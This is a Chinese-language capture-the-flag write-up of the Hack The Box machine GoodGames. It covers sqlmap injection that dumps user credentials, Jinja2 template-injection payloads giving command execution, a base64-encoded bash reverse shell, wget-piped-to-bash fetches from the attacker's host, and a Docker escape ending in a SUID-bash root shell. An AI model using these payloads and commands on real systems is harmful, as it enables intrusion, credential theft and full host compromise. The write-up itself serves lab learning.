HTB-GoodGames

metafa1ica
1
2
3
ip='10.129.96.71'
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep ^[0-9] | cut -d '/' -f 1| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip

SQL注入

显然,有SQL注入

image

1
2
3
4
5
6
```

![image](image-20250729223511-kelcvfu.png)

```python
sqlmap -u "http://10.129.96.71/login" --data="email=1&password=test" -p 'email' --prefix="'" --suffix="-- " --proxy http://127.0.0.1:8080 --union-cols=4 --technique=U --skip-static --dbms=mysql

直接拿sqlmap跑

image

注意如果--suffix="--+",反而会出错,用+是为了传进去把他变成空格,那sqlmap命令直接写空格即可

image

1
2
3
4
5
6
7
8
sqlmap -u "http://10.129.96.71/login" --data="email=1&password=test" -p 'email' --prefix="'" --suffix="-- " --proxy http://127.0.0.1:8080 --union-cols=4 --technique=U --skip-static --dbms=mysql -D main --tables --ignore-redirects
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
1
2
3
4
5
6
7
8
9
10
11
12
sqlmap -u "http://10.129.96.71/login" --data="email=1&password=test" -p 'email' --prefix="'" --suffix="-- " --proxy http://127.0.0.1:8080 --union-cols=4 --technique=U --skip-static --ignore-redirects  --dbms=mysql -D main -T user --columns
Database: main
Table: user
[4 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| name | varchar(255) |
| email | varchar(255) |
| id | int |
| password | varchar(255) |
+----------+--------------+
1
sqlmap -u "http://10.129.96.71/login" --data="email=1&password=test" -p 'email' --prefix="'" --suffix="-- " --proxy http://127.0.0.1:8080 --union-cols=4 --technique=U --skip-static --ignore-redirects  --dbms=mysql -D main -T user --dump

image

账号admin@goodgames.htb,密码解出来为superadministrator

进来又是一个面板

image

image

开源的东西,github搜了下没洞,真的假的

一样的账号密码能登进来

image

SSTI

存在SSTI

image

复习一下

是python3

image

image

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'S3cr3t_K#Key', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE
1
{{''.__class__.__mro__[1].__subclasses__()}}

image

找了半天终于找到个能用的

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

image

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

直接反弹shell

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('echo${IFS}YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi80NDMgMD4mMSI=${IFS}|base64${IFS}-d|bash').read()") }}{% endif %}{% endfor %}

md,有时候不是payload有问题,而是编码问题

image

又是docker

image

docker逃逸

挂载逃逸失败

image

1
wget http://10.10.16.42:8000/container-escape-check.sh -O- | bash

image

1
wget http://10.10.16.42:8000/1.c

CVE-2020-14386失败

image

1
2
wget http://10.10.16.42:8000/2.c
gcc -m32 -static -o exploit 2.c

仔细看df -h,这里挂载磁盘到home目录了

image

1
2
script /dev/null bash
ssh augustus@172.19.0.1

有点扯,先看网卡,能访问172.19.0.1的22,然后切个tty,用之前的密码superadministrator登ssh

image

image

提权

首先docker挂载home目录,所以在宿主机复制一个bash过来

image

然后回到docker,因为在docker里是root权限,所以给个4755(suid权限),这样就可以手动suid提权

image

image

再登录ssh,直接提权结束,superadministrator

1
2
ssh augustus@172.19.0.1
./bash -p

image

ad9b4ea7e99e152ee7d204a8d4f2cd8b

1
2
3
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
# uid表明身份
# euid表明有效id,意味着当前权限

  • 标题: HTB-GoodGames
  • 作者: metafa1ica
  • 创建于 : 2025-07-29 22:04:51
  • 更新于 : 2025-08-17 13:29:28
  • 链接: https://metafa1ica.github.io/post/37d5881c4f49/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论